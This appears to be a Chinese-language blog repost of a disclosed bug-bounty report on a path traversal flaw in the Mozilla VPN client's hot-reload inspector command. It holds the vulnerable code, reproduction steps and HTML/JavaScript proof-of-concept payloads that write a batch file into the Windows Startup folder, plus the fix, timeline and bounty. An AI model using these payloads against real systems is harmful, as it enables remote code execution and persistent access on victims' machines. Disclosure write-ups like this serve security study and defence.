Mozilla VPN客户端路径遍历漏洞导致远程代码执行(RCE)分析

本文详细分析了Mozilla VPN客户端在开发者模式下存在的路径遍历漏洞,攻击者可通过恶意文件写入实现远程代码执行,涉及漏洞原理、复现步骤及修复方案。

Mozilla VPN客户端:通过文件写入和路径遍历实现远程代码执行

漏洞概述

报告指出Mozilla VPN客户端软件存在路径遍历漏洞,可导致远程代码执行(RCE)。该漏洞存在于客户端检查器功能的"live_reload"命令中,当客户端处于开发者模式并启用"使用暂存服务器"时可被利用。InspectorHotreloader::fetchAndAnnounce()函数中的漏洞代码在将远程文件下载到临时文件夹时未能正确清理文件路径,允许通过Windows文件路径中的"..“序列进行路径遍历。这使得攻击者能够将任意文件写入文件系统的任何位置,从而实现代码执行。

漏洞详情

漏洞代码分析

在InspectorHotreloader::fetchAndAnnounce()函数中(源代码位置:https://github.com/mozilla-mobile/mozilla-vpn-client/blob/main/src/inspector/inspectorhotreloader.cpp):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
QObject::connect(
    request, &NetworkRequest::requestCompleted,
    [this, path, dummy_task](const QByteArray& data) {
        dummy_task->deleteLater();
        auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
        auto temp_file = new QFile(temp_path);
        temp_file->open(QIODevice::WriteOnly);
        if (!temp_file->write(data)) {
            logger.warning() << "Unable to write to file:"
                            << temp_file->fileName();
            return;
        }
        if (!temp_file->flush()) {
            logger.warning() << "Unable to flush to file:"
                            << temp_file->fileName();
            return;
        }
        temp_file->close();
        QFileInfo info(temp_path);
        annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
    });

从上述代码片段可以看出,temp_path只是设定目录和文件名的简单拼接。

复现步骤

  1. 下载Mozilla VPN:https://www.mozilla.org/en-US/products/vpn/download/
  2. 开启开发者模式:
    • 打开帮助菜单
    • 快速点击"Help"标题6次
    • 在开发者选项中勾选"Use Staging Servers”
    • 完全关闭并重新打开应用
  3. 保存以下HTML文件并打开(将attacker_server替换为攻击者服务器):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<script>
    var ws = new WebSocket('ws://localhost:8765/');
    var attacker_server = "███████" // 需要HTTP,不支持HTTPS
    
    payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
    
    ws.onopen = function() {
        ws.send(payload);
    };
    ws.onmessage = function(event) {
        document.getElementById("data").innerText += event.data + "\n";
    };
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>

注意文件被写入C:\Users\user\AppData\Local\Mozilla而不是预期的C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload。

漏洞影响

任何文件都可以被覆盖,导致远程代码执行。当使用暂存服务器时,通过有限的用户交互(只需打开攻击者网站)即可利用此漏洞。注意此漏洞在macOS上不可用。

RCE概念验证

通过将恶意文件写入当前用户的启动文件夹实现RCE:

  1. 托管恶意可执行文件(示例使用批处理文件):
1
2
@echo off
calc.exe
  1. 编辑HTML文件包含攻击者服务器地址:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<script>
    var ws = new WebSocket('ws://localhost:8765/');
    var attacker_server = "███" // 需要HTTP,不支持HTTPS
    
    payload = `live_reload ${attacker_server}/..\\..\\..\\..\\Roaming\\Microsoft\\Windows\\Start%20Menu\\Programs\\Startup\\traversal_poc.bat`
    
    ws.onopen = function() {
        ws.send(payload);
    };
    ws.onmessage = function(event) {
        document.getElementById("data").innerText += event.data + "\n";
    };
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>

这为攻击者提供了对受害者设备的永久访问权限。

修复方案

Mozilla团队计划移除检查器中的HTTP热加载功能,并添加与WebSocket通信的域名限制。该漏洞在2.26版本中已修复。

时间线

  • 2025年2月15日:漏洞报告提交
  • 2025年3月6日:奖励6,000美元赏金
  • 2025年5月13日:漏洞标记为已修复
  • 2025年7月29日:漏洞完全披露

严重程度:高(8.3) 弱点类型:路径遍历 赏金金额:$6,000

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计